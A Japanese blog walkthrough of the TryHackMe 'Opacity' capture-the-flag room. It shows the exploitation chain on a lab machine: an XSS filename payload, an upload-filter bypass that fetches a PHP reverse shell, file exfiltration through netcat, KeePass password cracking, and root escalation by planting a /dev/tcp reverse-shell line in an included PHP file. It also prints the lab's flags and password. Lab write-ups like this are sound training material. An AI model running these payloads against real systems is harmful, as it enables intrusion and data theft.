0
0

【TryHackMe】Opacity:Walkthrough

Posted at

概要

TryHackMe「Opacity」のWalkthroughです。

Task1

Q1.What is the local.txt flag?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- -oN nmap_result 10.10.175.183
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:ee:29:10:d9:8e:8c:53:e6:4d:e3:67:0c:6e:be:e3 (RSA)
|   256 95:42:cd:fc:71:27:99:39:2d:00:49:ad:1b:e4:cf:0e (ECDSA)
|_  256 ed:fe:9c:94:ca:9c:08:6f:f2:5c:a6:cf:4d:3c:8e:5b (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-10-05T02:13:09
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41
139 netbios-ssn Samba smbd 4.6.2
445 netbios-ssn Samba smbd 4.6.2

SMBの列挙を試みましたが有用な情報は得られませんでした。

$ enum4linux -a 10.10.38.212
 =================================( Share Enumeration on 10.10.38.212 )=================================                                                                                                    
                                                                                                      
smbXcli_negprot_smb1_done: No compatible protocol selected by server.                                 

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (opacity server (Samba, Ubuntu))

80番ポートのディレクトリスキャンをします。

$ dirsearch -u http://10.10.175.183
[22:16:16] 301 -  314B  - /cloud  ->  http://10.10.175.183/cloud/
[22:16:16] 200 -  393B  - /cloud/
[22:16:20] 301 -  312B  - /css  ->  http://10.10.175.183/css/
[22:16:41] 200 -  381B  - /login.php

/login.phpではログインフォームが表示されました。

login.jpg

/cloudへアクセスするとファイルアップロードページが表示されました。

cloud index.jpg

試しにhttp://ip/test.pngを入力するとファイルの取得を確認できました。
画像形式のファイルのみアップロードできるようです。

$ python -m http.server 80
10.10.175.183 - - [04/Oct/2024 22:26:28] code 404, message File not found
10.10.175.183 - - [04/Oct/2024 22:26:28] "GET /test.png HTTP/1.1" 404 -

"><img src=x onerror=alert("XSS")>.jpgのようなファイル名を送信するとXSSに成功しました。

alert xss.jpg

しかしサーバーの侵入には繋がりませんでした。

拡張子制限回避のテクニックをHackTricksから試してみます。

結果、http://ip/revshell.php#.jpgのようなペイロードにすると、拡張子の制限を突破してPHPファイルを取得できることが分かりました。

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.38.212 - - [05/Oct/2024 01:17:11] code 404, message File not found
10.10.38.212 - - [05/Oct/2024 01:17:11] "GET /revshell.php HTTP/1.1" 404 -

Netcatでリッスンします。

$ nc -lvnp 1234
listening on [any] 1234 ...

リバースシェル用のPHPファイルを用意してリクエストを送信するとリバースシェルを張れました。

$ nc -lvnp 1234                                                         
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.38.212] 43676
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 05:19:12 up  1:35,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/optKeePassフィルを発見しました。

$ ls -la /opt
ls -la /opt
total 12
drwxr-xr-x  2 root     root     4096 Jul 26  2022 .
drwxr-xr-x 19 root     root     4096 Jul 26  2022 ..
-rwxrwxr-x  1 sysadmin sysadmin 1566 Jul  8  2022 dataset.kdbx

ダウンロードするためにKaliでリッスンします。

$ nc -nlvp 7777 | tar xf -

ターゲットマシンから接続し、ファイルをダウンロードしました。

$ tar cf - dataset.kdbx | nc 10.6.55.144 7777

JohnTheRipperでファイルのパスワードを解析します。

$ keepass2john dataset.kdbx > hash

$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
741852963        (dataset)

解析したパスワードでファイルを読み込むとアカウントのパスワードを得られました。

$ keepass2 dataset.kdbx

keepass.jpg

sysadminへログインします。

$ su sysadmin
su sysadmin
Password: Cl0udP4ss40p4city#8700

sysadmin@opacity:/opt$

/home/sysadmin/local.txtからユーザーフラグを入手できました。

/home/sysadmin/local.txt
6661b61b44d234d230d06bf5b3c075e2

A.6661b61b44d234d230d06bf5b3c075e2

Q2.What is the proof.txt flag?

pspyでプロセスを監視すると/home/sysadmin/scripts/script.phpがルート権限で動作していると分かりました。

$ pspy32
2024/10/05 06:08:01 CMD: UID=0     PID=2684   | /usr/bin/php /home/sysadmin/scripts/script.php 
2024/10/05 06:08:01 CMD: UID=0     PID=2683   | /bin/sh -c /usr/bin/php /home/sysadmin/scripts/script.php

/home/sysadmin/scripts/script.phpの内容を確認します。

/home/sysadmin/scripts/script.php
<?php

//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
    $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
    foreach ( $ri as $file ) {
        $file->isDir() ?  rmdir($file) : unlink($file);
    }
}
?>

require_once()で読み込んでいるlib/ディレクトリを確認すると、sysadmin権限でファイルを操作できそうです。

$ ls -la
total 16
drwxr-xr-x 3 root     root     4096 Jul  8  2022 .
drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22  2023 ..
drwxr-xr-x 2 sysadmin root     4096 Jul 26  2022 lib
-rw-r----- 1 root     sysadmin  519 Jul  8  2022 script.php

既存のbackup.inc.phpを別ファイル名にします。

$ mv backup.inc.php backup.inc.php.org

新たにbackup.inc.phpを用意します。

backup.inc.php
<?php
system('bash -c "sh -i >& /dev/tcp/10.6.55.144/1234 0>&1"');
?>

Netcatでリッスンしているとrootのシェルを取得できました。

$ nc -lvnp 1234     
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.38.212] 38848
sh: 0: can't access tty; job control turned off
# whoami
root

/root/proof.txtからルートフラグを入手できます。

/root/proof.txt
ac0d56f93202dd57dcb2498c739fd20e

A.ac0d56f93202dd57dcb2498c739fd20e

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0